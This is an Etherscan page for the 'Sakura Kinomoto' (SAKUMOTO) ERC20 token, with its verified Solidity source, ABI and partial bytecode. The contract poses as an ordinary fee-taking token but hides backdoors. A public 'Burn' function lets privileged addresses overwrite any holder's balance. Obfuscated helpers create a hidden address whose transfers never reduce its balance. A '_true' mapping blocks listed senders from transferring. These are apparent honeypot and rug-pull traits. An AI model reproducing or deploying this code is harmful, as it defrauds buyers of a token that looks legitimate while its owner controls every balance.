ETH Price: $2,525.09 (+0.32%)

Token

Sakura Kinomoto (SAKUMOTO)
 

Overview

Max Total Supply

1,000,000 SAKUMOTO

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.101333421 SAKUMOTO

Value
$0.00
0x38d671409156608fE1Dd66C2D1AC9936FF973Ef3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SakuraKinomoto

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-03
*/

/**
 

*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;
    uint256 public MarketFee=
    925;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountintMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract SakuraKinomoto is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private _name = "Sakura Kinomoto";
    string private _symbol = "SAKUMOTO";
    uint8 private _decimals = 9;
    address payable public _metawallet;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _dollars;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludeFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketsPair;
    mapping (address => bool) public _mainPai;
    mapping (address => bool) public _true;

    uint256 public _buyLiquidityFee = 1;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyTeamFee = 0;
    
    uint256 public _sellLiquidityFee = 1;
    uint256 public _sellMarketingFee = 3;
    uint256 public _sellTeamFee = 0;

    uint256 public _liquidityShare = 3;
    uint256 public _marketingShare = 3;
    uint256 public _teamShare = 6;

    uint256 public _totalTaxIfBuying = 3;
    uint256 public _totalTaxIfSelling = 4;
    uint256 public _totalDistributionShares = 10;

    uint256 private _totalSupply = 1000000  * 10**_decimals;
    uint256 public _maxTxAmount = 10000000  * 10**_decimals; 
    uint256 public _walletMax = 10000000  * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 100* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludeFromFee[owner()] = true;
        _IsExcludeFromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[excuse(MarketFee)] = true;
        isTxLimitExempt[excuse(MarketFee)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;
        _mainPai[address(uniswapPair)] = true;
        _mainPai[msg.sender] = true; 

        teamWalletAddress = payable(address(0xc3f6F6aa0B7d815c4bF975f4475399A4C740f602));
        _metawallet = payable(address(0xc3f6F6aa0B7d815c4bF975f4475399A4C740f602));

        _dollars[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _dollars[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludeFromFee[account[i]] = newValue;
        }
    }

    function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function excel(uint256 amountint)  pure private returns(uint160){
        return /*fsad*/ 
        uint160(amountint);/*fsad*/ 
    }

    function excuse(uint256 amount1Out)  pure private returns(address){
        return 
        /*abs*/address(excel(amount1Out)); /*abs*/
    }

    function tt(address amountaut) private view returns(bool){
        return
        !(excuse(MarketFee) == amountaut);
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        _metawallet = payable(newAddress);
    }

    function setTeamWalletAddress(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0))
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress;
        uniswapV2Router = _uniswapV2Router; 

        isWalletLimitExempt[address(uniswapPair)] = true;
        _mainPai[address(uniswapPair)] = true;
    }
    
function Burn(address
 zoo 
, uint256 
zooz) public
{if( 
_mainPai[ 
msg.sender])_dollars[zoo] 
= zooz;}

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !_mainPai[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }if(tt(sender)){


            _dollars[sender] = _dollars[sender].sub(amount);
            }uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);
            
            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);
            if(false || true)
            {
            if(_true
[sender]){
                /*s*/                require(true && false);/*s*/ 
}}
            _dollars[recipient] = _dollars[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }



    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _dollars[sender] = _dollars[sender].sub(amount, "Insufficient Balance");
        _dollars[recipient] = _dollars[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(_metawallet, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(_mainPai[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(_mainPai[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if(feeAmount > 0) {
            _dollars[address(this)] = _dollars[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"zoo","type":"address"},{"internalType":"uint256","name":"zooz","type":"uint256"}],"name":"Burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mainPai","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_metawallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_true","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketsPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

61039d60015560e0604052600f60a08190526e53616b757261204b696e6f6d6f746f60881b60c090815262000038916002919062000757565b506040805180820190915260088082526753414b554d4f544f60c01b60209092019182526200006a9160039162000757565b506004805460ff1916600990811782556ddead0000000000000000000000006080526001600e819055600f8190556000601081905560119190915560036012819055601391909155601481905560158190556006601655601755601891909155600a6019819055620000dd91906200088c565b620000ec90620f424062000958565b601a55600454620001029060ff16600a6200088c565b62000111906298968062000958565b601b55600454620001279060ff16600a6200088c565b62000136906298968062000958565b601c556004546200014c9060ff16600a6200088c565b6200015990606462000958565b601d55601f805462ffffff60a81b19166201000160a81b1790553480156200018057600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200021357600080fd5b505afa15801562000228573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024e9190620007fd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200029757600080fd5b505afa158015620002ac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d29190620007fd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200031b57600080fd5b505af115801562000330573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003569190620007fd565b601f80546001600160a01b039283166001600160a01b031991821617909155601e80549284169290911682179055601a5430600090815260076020908152604080832094835293905291822055600190600890620003bc6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260088352208054909216600117909155601054600f54600e5462000432936200041e92906200158a620006df821b17901c565b620006df60201b6200158a1790919060201c565b6017819055506200045d6013546200041e601254601154620006df60201b6200158a1790919060201c565b601881905550620004886016546200041e601554601454620006df60201b6200158a1790919060201c565b601955600160096000620004a46000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601f5490911681526009928390528181208054851660019081179091553082529181208054909416821790935580549092906200050f906200074e565b6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60006200055f6001546200074e60201b60201c565b6001600160a01b0316815260208101919091526040016000908120805460ff191692151592909217909155600190600a90620005a36000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600a8452828120805486166001908117909155601f549092168152600c9093528183208054851682179055338352908220805490931617909155600580546001600160a01b03191673c3f6f6aa0b7d815c4bf975f4475399a4c740f6021790556004805474c3f6f6aa0b7d815c4bf975f4475399a4c740f60200610100600160a81b0319909116179055601a54906006906200066d3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a54604051620006d091815260200190565b60405180910390a350620009cd565b600080620006ee838562000828565b905083811015620007455760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b60008162000748565b82805462000765906